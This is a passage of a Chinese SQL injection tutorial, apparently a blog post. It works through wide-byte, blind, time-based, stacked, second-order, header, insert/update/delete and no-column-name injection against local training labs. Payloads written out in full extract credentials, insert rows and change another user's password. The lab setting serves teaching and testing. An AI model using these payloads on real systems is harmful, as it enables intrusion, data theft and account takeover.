Web安全之SQL注入_web注入

发现这个方法是行不通的,因为你在第二个单引号(')前输入 %df 数据库会误以为你查询的是 security%df 所以会发生错误。所以这里我们使用编码绕过 Hex编码。

首先将数据库名进行一个 Hex 编码。

接着再将我们的注入语句修改。

-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479-- -

这时就可以成功绕过了,下一步获取 users 表中的全部字段名,这里也是同理需要将 users 进行一个 Hex 编码,编码结果为:0x7573657273。

-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x7573657273-- -

最后一步获取 username、password 中的全部数据**。**

-1%df' union select 1,2,group_concat(username,0x3C62722F3E,password) from users-- -

3.4、布尔盲注

布尔盲注一般适用于页面没有回显字段(不支持联合查询),且 Web 页面返 True 或者 False,构造 SQL 语句,利用 and,or 等关键字来其后的语句 True 、 False 使 Web 页面返回 True 或者 False,从而达到注入的目的来获取信息。

布尔盲注需要用到的函数:

  • ascii() 函数,返回字符ascii码值

    • 参数 : str单字符
  • length() 函数,返回字符串的长度

    • 参数 : str 字符串
  • left() 函数,返回从左至右截取固定长度的字符串

    • 参数str,length
    • str : 字符串
    • length:截取长度
  • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串

    • 参数,strposlength
    • str: 字符串
    • pos:开始位置
    • length:截取长度

布尔注入流程:

  • 求当前数据库长度
  • 求当前数据库表的 ASCII
  • 求当前数据库中表的个数
  • 求当前数据库中其中一个表名的长度
  • 求当前数据库中其中一个表名的 ASCII
  • 求列名的数量
  • 求列名的长度
  • 求列名的 ASCII
  • 求字段的数量
  • 求字段内容的长度
  • 求字段内容对应的 ASCII

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-5/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

从语句中可以看出我们在注入时需要对单引号(')进行闭合,构造判断语句。

' and 1=1-- -

and 1=1 页面返回正常,接着继续判断。

1' and 1=2-- -

and 1=1 页面返回正常,and 1=2 页面发生变化,也就是 True 和 False,所以我们可以利用布尔盲注进行注入。

首先判断当前数据库长度。

1' and (length(database())>7)-- -

大于 7 时页面正常,继续判断。

1' and (length(database())>9)-- -

大于 9 时返回 False,那么就说明当前数据库长度为 8。

1' and (length(database())=8)-- -

上图也可以看到长度为 8 返回 True。

知道当前数据库长度后接着一个一个的对数据库的每一个字节进行判断。这里介绍给大家两种方法:Ascii判断、字母判断

为什么要分两种方法来讲呢?因为字母判断是需要单引号(')进行操作的,很多服务器都会对这些特殊字符进行一个转义。

首先讲字母判断,判断当前数据库第一个字母。

1' and (left(database(),1)='s')-- -

页面返回正常,那就说明当前数据库首字母为 s ,接着判断第二个字母。

1' and (left(database(),2)='se')-- -

这里判断出第二个字母为 e,接着继续判断。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出当前数据库名为:security。

1' and (left(database(),8)='security')-- -

接着是 Ascii 判断,Ascii 对照表如下:

首先获取当前数据库第一个字母。

1' and ascii(substr(database(),1,1))=115-- -

当 ascii 码为 115 时页面正常,说明首字母为:s。

继续判断第二个字母。

1' and ascii(substr(database(),2,1))=101-- -

当 ascii 码为 101 时页面正常,说明第二个字母为:e。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

得到数据库名后,下一步获取表的个数后面的操作我们都使用 ascii 函数来判断)

1' and(select count(table_name) from information_schema.tables where table_schema='security') = 4-- -

页面正常,此时可知当前 security 库中有 4 个表。

接着我们利用 limit 来指定表进行表名长度猜解操作,这里我们指定第四个表 limit 3,1。

1' and (length((select table_name from information_schema.tables where table_schema = database() limit 3,1)))=5-- -

页面返回正常,得出第四个表长度为 5,继续判断第四个表的表名。

判断表名首字母。

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),1,1))=117-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。

继续判断表名的第二个字母。

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 3,1),2,1))=115-- -

当 ascii 码为 115 时页面正常,115 对应的 ascii 码为:s(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出表名为:users。

得到表名后判断 users 表中的字段数量。

1' and (select count(column_name) from information_schema.columns where table_name="users")=15-- -

这里得出 users 表中存在 15 个字段数,下一步获取指定字段的长度。

http://192.168.2.40/sqli-labs/Less-5/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name="users" limit 9,1),8,1))-- -

得出 limit 9,1 中的字段长度为 8,得知长度后获取字段名,首先判断首字母。

1' and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 9,1),1,1))=117-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。

接着判断第二个字母。

1' and ascii(substr((select column_name from information_schema.columns where table_name = "users" limit 9,1),2,1))=115-- -

当 ascii 码为 115 页面返回正常,115 对应的 ascii 码为:s。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后判断得出字段名为:username

得知 users 表中第 10 个字段名为 username 后就可以开始脱数据了,首先利用 limit 0,1 判断第一行数据的长度。

1' and (length((select username from users limit 0,1)))=4-- -

页面返回正常,最后一步获取数据。

1' and ascii(substr((select username from users limit 0,1),1,1))=68-- -

当 ascii 码为 68 时页面正常,68 对应的 ascii 码为:D。

继续判断第二个字母。

1' and ascii(substr((select username from users limit 0,1),2,1))=68-- -

当 ascii 码为 117 时页面正常,117 对应的 ascii 码为:u。(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)

最后这里判断出数据内容为:Dumb。

注:盲注一般都不会手工去进行一个注入的,都会采用脚本、工具去跑,只有小可爱才会用手工去注入。

3.5、时间盲注

时间注入又名延时注入,属于盲注入的一种,通常是某个注入点无法通过布尔型注入获取数据,而采用一种突破注入的技巧。在 mysql 里 函数 sleep() 是延时的意思,sleep(10) 就是数据库延时 10 秒返回内容。判断注入可以使用 ’ and sleep(10),数据库延时 10 秒返回值,网页响应时间至少要 10 秒,根据这个原理来判断存在 SQL 时间注入。

访问本地漏洞环境:http://127.0.0.1/sqli-labs/Less-9/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

回显语句可以看出注入过程我们需要闭合单引号。

利用 and 判断是否存在注入。

1' and 1=1-- -

页面返回正常,接着继续判断。

此时可以发现不管我们输入什么都只会返回 “You are in…”,原因是在代码中他并没有将查询的数据进行回显,而只是利用了 echo 输入 “You are in…”。

实战中大多场景都是如此,所以我们需要利用时间盲注进行判断是否存在注入。

首先随便输入个数据给 ID 值,然后利用 Burp 进行数据抓取,因为我们要利用 Burp 查看回显时间。

将数据包发送到 Repeater 模块,快捷键(win+r)。

接着我们给 ID 传递一个 sleep 函数,让时间延迟,如果延迟就说明存在时间盲注。

1'and%09sleep(5)--%09-

可以看到页面延迟 5 秒说明存在时间盲注,由于 Burp 他不能有空格,所以这里我们利用 %09 进行绕过,当然也可以用 url 编码的 %20,和 mysql 的内联注释符 /**/。

已知测试存在时间盲注,接下来判断当前数据库的字节长度。

1'%09and%09if(length(database())=8,sleep(3),1)--%09-

可以看到当判断当前数据库长度为 8 时延迟了 3 秒。

接下来我们猜测当前数据库名的首字母。

1'%09and%09if(left(database(),1)='s',sleep(3),1)--%09-

当判断数据库的首字母为 s 时,页面延迟了 3 秒,如果不是则立即加载页面。

接着判断第二个字母。

1'%09and%09if(left(database(),2)='se',sleep(3),1)--%09-

当判断数据库的前两个字母为 se 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获得数据库名为:security。

得到当前数据库名后获取数据库表中的个数。

1'%09and%09if(((select%09count(table_name)%09from%09information_schema.tables%09where%09table_schema=database())=4),sleep(3),1)--%09-

当判断数据库 security 中的表个数为 4 时延迟了 3 秒。

下一步获取指定表的长度,这里我指定第 4 个表来判断表名的长度。

1'%09and%09if((length(substr((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),1))=5),sleep(3),1)--%09-

当表的长度为 5 时延迟了 3 秒,说明第四个表名的长度为 5。

知道表名的长度后下一步判断表名的首字母。

1'%09and%09if((left((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),1)='u'),sleep(3),1)--%09-

判断表的首字母为 u 时延迟了 3 秒,继续判断第二位字母。

1'%09and%09if((left((select%09table_name%09from%09information_schema.tables%09where%09table_schema=database()%09limit%093,1),2)='us'),sleep(3),1)--%09-

当判断表的前两个字母为 us 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获取到表名为:users。

得到表名后判断表中的字段数量。

1'%09and%09if(((select%09count(column_name)%09from%09information_schema.columns%09where%09table_name="users")=18),sleep(3),1)--%09-

当判断字段数量为 18 时延迟了 3 秒,说明当前表中的字段数量为:18。

接着我们利用 limit 指定字段,获取字段字段的长度。

1'%09and%09if((length(substr((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),1))=8),sleep(3),1)--%09-

当字段长度为 8 时延迟 3秒。

得知第 14 个字段的长度为 8 后,下一步判断字段名的首字母。

1'%09and%09if((left((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),1)='p'),sleep(3),1)--%09-

判断首字母为 p 时延迟了 3 秒,继续判断第二字母。

1'%09and%09if((left((select%09column_name%09from%09information_schema.columns%09where%09table_name="users"%09limit%0913,1),2)='pa'),sleep(3),1)--%09-

当判断字段名的前两个字母为 ps 时,页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终得到字段名为:password。

最后就是脱数据了,首先判断第一条数据的长度。

1'%09and%09if((length((select%09password%09from%09users%09limit%090,1))=4),sleep(3),1)--%09-

当判断数据长度为 4 时延迟 3秒,接着下一步判断数据的首字母。

1'%09and%09if((left((select%09password%09from%09users%09limit%090,1),1)='D'),sleep(3),1)--%09-

判断完首字母后继续判断第二个字母。

1'%09and%09if((left((select%09password%09from%09users%09limit%090,1),2)='Du'),sleep(3),1)--%09-

当判断数据内容的前两个字母为 Du 时页面延迟了 3 秒,如果不是则立即加载页面(这里我就不继续演示判断第三个字母以后的了,方法如上面说的以此类推)。

最终获取数据内容为:Dumb

**3.6、**堆叠注入

堆叠注入,顾名思义,就是将语句堆叠在一起进行查询。
原理很简单,mysql_multi_query(),支持多条 sql 语句同时执行,就是个分隔(;),成堆的执行 sql 语句,例如:

 select * from users;show databases; 

就同时执行以上两条命令,所以我们可以增删改查,只要权限够。
虽然这个注入姿势很牛逼,但实际遇到很少,其可能受到 API 或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条 sql 语句时才能够使用,利用 mysqli_multi_query() 函数就支持多条 sql 语句同时执行,但实际情况中,如PHP 为了防止 sql 注入机制,往往使用调用数据库的函数是 mysqli_ query() 函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-38/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

从回显的 SQL 语句中看出需要闭合单引号('),所以注入时需要注意闭合。

判断是否存在注入。

1' and 1=1-- -

and 1=1 页面返回正常,接着判断。

1' and 1=2-- -

and 1=2 时页面返回异常,说明存在注入。

这里我们利用联合注入进行攻击,首先判断字段数。

1' order by 3-- -

字段数为 3 时返回正常,接着判断。

1' order by 4-- -

字段数为 4 时报错了,说明字段数为 3。

查看回显位。

-1'union select 1,2,3-- -

这里回显位有 2 个,我们选择第 3 个利用联合注入获取当前数据库名。

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()-- -

这里回显出 4 个表,我们选择 users 表来获取里边的字段名。

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"-- -

这里得到表和表中的字段名后,我们利用堆叠注入对 users 表进行一个插入数据操作。

-1';insert into users(id,username,password)values(15,'hack','hackpw');-- -

插入后我们登录 phpmyadmin 进行一个查看。

可以看到在最后一行数据中就是我们刚刚插入的数据。

3.7、二次注入

二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入到了 SQL 查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行 SQL 查询时,就发生了 SQL 二次注入。

这里我们首先对代码进行一个分析,不然再开始前会有点懵逼。

我们这里先看 Less-21\login_create.php 的注册用户文件。

这里看我用红色框框框起来的内容。

21-23 行这里都利用了 mysql_escape_string() 函数进行一个 sql 注入的过滤,所以这个注册用户页面是不存在注入的。

接着我们查看修改密码页面的代码。

这里一样看我用红色框框框起来的内容。

首先是 25-28 行,其中 26-28 行都利用了 mysql_escape_string() 函数进行一个 sql 注入的过滤,但是 25 行他并没有使用这个函数进行过滤,而且接收到的变量会带入到 sql 执行语句去,而这个变量就是获取我们用户名的一个操作。

那么我们就可以在注册页面的时候注册一个用户名为:admin’#,这样子到了修改页面后他接收了我们的用户名并存入到 $username 中,最终执行的语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'#' and password='$curr_pass'

这样子我们就成功的修改了 admin 用户的密码。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-38/

由于本人英文不好翻译了一下不要介意,这里我们点击用户注册。

注册一个用户名为:admin’#666777的用户。

接着登录 admin’#666777 用户。

登录后我们进行密码修改(这里我修改了下审查元素方面那么看到密码那块)。

修改后我们退出登录,登录 admin 账号,密码为:adminpassword。

这里成功登录 admin 账号,我们成功利用了 admin’#666777 用户对 admin 账号进行一个修改。

3.8、HTTP头注入

HTTP 头原理是后台开发人员为了验证客户端 HTTP_Header(比如常用的Cookie 验证等)或者通过 HTTP_Header 头信息获取客户端的一些信息(例如:User-Agent、Accept 字段等),会对客户端HTTP_Header 进行获取并使用 SQL 语句进行处理,如果此时没有足够的安全考虑,就可能导致基于 HTTP_Header 的注入漏洞。

首先我们对 Less-18\index.php 文件进行代码分析。

这里先看绿色框框的内容,在 73 行中有一条判断判断 uname 和 passwd 的值是否为空,并且这两个函数都有过滤没办法注入,所以要进入这个判断要给这两个值进行参数的传递。

接着 98 行会执行 97 行的 SQL 语句,并且在 100 行中有这么一个判断当 $row1 为真的时候才会进入判断语句中。

知道判断流程后我们看红色框框,首先这里 66-67行接收了我们的 ua 头和 ip 信息,并且会带入 103 行中进行一个插入操作,但是这里的 ua 头我们是可以控制的,所以我们可以在 ua 头中构造 sql 注入语句。

访问本地漏洞环境:http://192.168.2.40/sqli-labs/Less-18/

首先我们要进入第一个 if 判断语句,必须要输入正确的账号和密码,这里输入 Dumb/Dumb 并利用 Burp 进行一个数据包的抓取。

将抓取到的数据包放入 Repeater 模块(Ctrl + r)。

从刚刚代码审计中我们知道 ua 头是可控制的,这里我们对 Ua 头进行一个注入判断。

1'

可以看到这里发生了一个报错,所以我们可以利用报错注入进行一个攻击。

获取当前数据库名,这里为不影响插入语句后面的此处在语句最后加上了一个恒等式,一方面是为了闭合后台语句的单引号,另一方面是为了保证当我们语句拼接入后台后不影响后续语句的运行。

1'and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

得到数据库名为:security。

接着获取 security 库中的表。

1'and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1) and '1'='1

下一步获取 users 表中的全部字段名。

1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name="users"),70),0x7e),1) and '1'='1

最后脱取 users 表中 username 的全部数据。

3.9、insert注入

insert 注入也叫插入注入,insert 由于其功能决定并不会对结论进行直接输出,同时其 sql 语句预编译是 insert 型,所以无法使用查询注入的方式进行注入。主要注入方式是盲注、以及报错注入。

访问本地漏洞环境:http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_login.php

从页面中可以看到有个注册功能,我们点击 “注册”,注册一个账号。

注册成功后我们回到登录页面进行登录。

进来后页面会对我们的注册信息进行回显。

既然可以回显,那么我们就可以在注册页面输入 sql 语句进行注入。

回到注册页面。

这里有 6 个可输入的框,由此可判断出在我们注入的时候也必须要凑合够 6 个,不然数据库会发生报错。

这里我们在手机处插入 sql 语句。

10086',database(),'地址')-- -

点击 submit 提交,接着回到登录页面登录 hack1 用户,登录成功后可以看到成功将当前数据库回显。

接着继续回注册页面注册一个用户,用于获取当前数据库中的全部表。

10086',(select group_concat(table_name) from information_schema.tables where table_schema=database()),'地址')-- -

点击 submit 提交,然后回到登录页面登录 hack2 用户,登录成功后在邮箱处可以看到已经将全部表进行回显。

获取到表后下一步获取字段名,回到注册页面继续注册一个用户用于获取 users 表全部字段名。

10086',(select group_concat(column_name) from information_schema.columns where  table_schema=database() and table_name='users'),'地址')-- -

点击 submit 提交,然后回到登录页面登录 hack3 用户,登录成功后在邮箱处可以看到已经将 users 表中的全部字段名进行回显。

最后一步脱数据,这里我们脱 username 的数据,回到注册页面继续注册一个用户用于获取数据。

10086',(select group_concat(username) from users ),'地址')-- -

点击 submit 提交,然后回到登录页面登录 hack4 用户,登录成功后在邮箱处可以看到已经将 users 表中的 username 字段的数据进行回显。

3.10、update注入

update 注入也叫更新注入,update 由于其功能决定并不会对结论进行直接输出,同时其 sql 语句预编译是 update 型,所以无法使用查询注入的方式进行注入。

访问本地漏洞环境:http://127.0.0.1/pikachu/vul/sqli/sqli_iu/sqli_login.php

首先我们注册两个用户名分别为:user1、user2。

然后我们分别登录 user1 和 user2,查看对应的回显信息。

首先登录 user1。

可以看到信息全是 user1,接着退出登录,登录 user2 账号。

可以看到 user2 的信息全是 user2。

那么我们在 user2 上修改个人信息,实现跨用户信息修改。

user2' where username='user1'-- -

点击 submit 提交,接着退出登录,回到 user1。

登录后可以看到,我们成功在 user2 用户上修改了 user1 的信息。

3.11、delete注入

delete 注入也叫删除注入,⼀般⽤于前后端发帖、留⾔、⽤户等相关操作,点击删除按钮时可通过 burp 进⾏抓包,对数据包 delete 参数进⾏注⼊。

访问本地漏洞环境:http://127.0.0.1/pikachu/vul/sqli/sqli_del.php

在页面中可以看到有个留言板功能,我们尝试发表一个文章。

发表文章后在留言列表中有个按钮可以对文章进行删除,我们点击删除按钮并利用 Burp 抓取删除数据。

将数据包发送到 Repeater 模块,快捷键(Win+r)。

尝试给 id 参数输入一个单引号(')。

58'

可以看到页面发生了报错所以我们在注入时可以利用报错注入进行攻击,并且从报错信息可以得出当前是数字型注入。

利用 and 进行判断是否存在注入。

获取当前数据库。

58%09and%09updatexml(1,concat(0x7e,(substr((database()),1)),0x7e),1)--%09-

获取到当前数据库后获取表。

58%09and%09updatexml(1,concat(0x7e,(substr((select%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema=database()),10)),0x7e),1)--+

接着获取 users 表中的全部字段名。

58%09and%09updatexml(1,concat(0x7e,(substr((select%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema=database()%09and%09table_name="users"),1)),0x7e),1)--+

最后一步脱取 username 的全部数据。

58%09and%09updatexml(1,concat(0x7e,(substr((select%09group_concat(username)%09from%09users),1)),0x7e),1)--+

3.12、无列名注入

一、概念

在我们进行 SQL 注入的时候,有时候 information_schema 这个库可能会因为过滤而无法调用,这时我们就不能通过这个库来查出表名和列名。不过我们可以通过两种方法来查出表名:

  • InnoDb引擎

从 MYSQL5.5.8 开始,InnoDB 成为其默认存储引擎。而在 MYSQL5.6 以上的版本中,inndb 增加了 innodb_index_stats 和innodb_table_stats 两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

  • sys数据库

在 5.7 以上的 MYSQL 中,新增了 sys 数据库,该库的基础数据来自 information_schema 和 performance_chema,其本身不存储数据。可以通过其中的 schema_auto_increment_columns 来获取表名。

但是上述两种方法都只能查出表名,无法查到列名,这时我们就要用到无列名注入了。无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

二、原理

无列名注入的原理其实跟给列赋别名有点相似,就是在取别名的同时查询数据。

select * from sqltest

可以看到 sqltest 表中有 2 个字段,字段名分别为 id,flag 。此时,我们用无列名查询的方式来查一下表中数据。

select 1,2 union select * from sqltest

可以看到,此时得到了一个虚拟表,字段名分别为 1,2 其中存储了 sqltest 表中的所有数据。

进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错。

select 1,2,3  union select * from sqltest

我们进行无列名注入就是利用了该方法,通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。

select `2` from (select 1,2 union select * from sqltest)n

像这样就可以查询第二个字段的数据,在虚拟表中,字段名都是 1,2 所以我们在查询语句中要用(2)而不能直接用 2 。末尾的 n 是用来命名的,也可以是其他字符。不过有时候 ` 也会被过滤,这时候我们就又要用到取别名的操作了。

select 1 as a,2 as b union select * from sqltest

可以看到,此时构造的虚拟表的字段名就分别是 a,b 了。此时查询就可以直接通过 a,b 来查。

select b from (select 1 as a,2 as b union select * from sqltest)n

访问本地漏洞环境:http://127.0.0.1/sqli-labs/Less-66/

这里会告诉我们需要传递一个参数 ID,这里 GET 随便给 ID 传递一个值。

判断当前 id 参数是否存在注入。

1' and 1=1-- -

页面返回正常,继续判断。

当 and 1=2 时页面返回异常,说明存在注入。

判断字段数。

1' order by 3-- -

字段数为 3 时页面正常,继续判断。

1' order by 4-- -

当字段为 4 时页面报错,由此可得当前字段数为 3。

利用联合注入获取回显位。

-1' union select 1,2,3--

这里利用回显位 3 获取当前数据库名。

-1' union select 1,2,database()-- -

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

  • 14
    点赞
  • 22
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值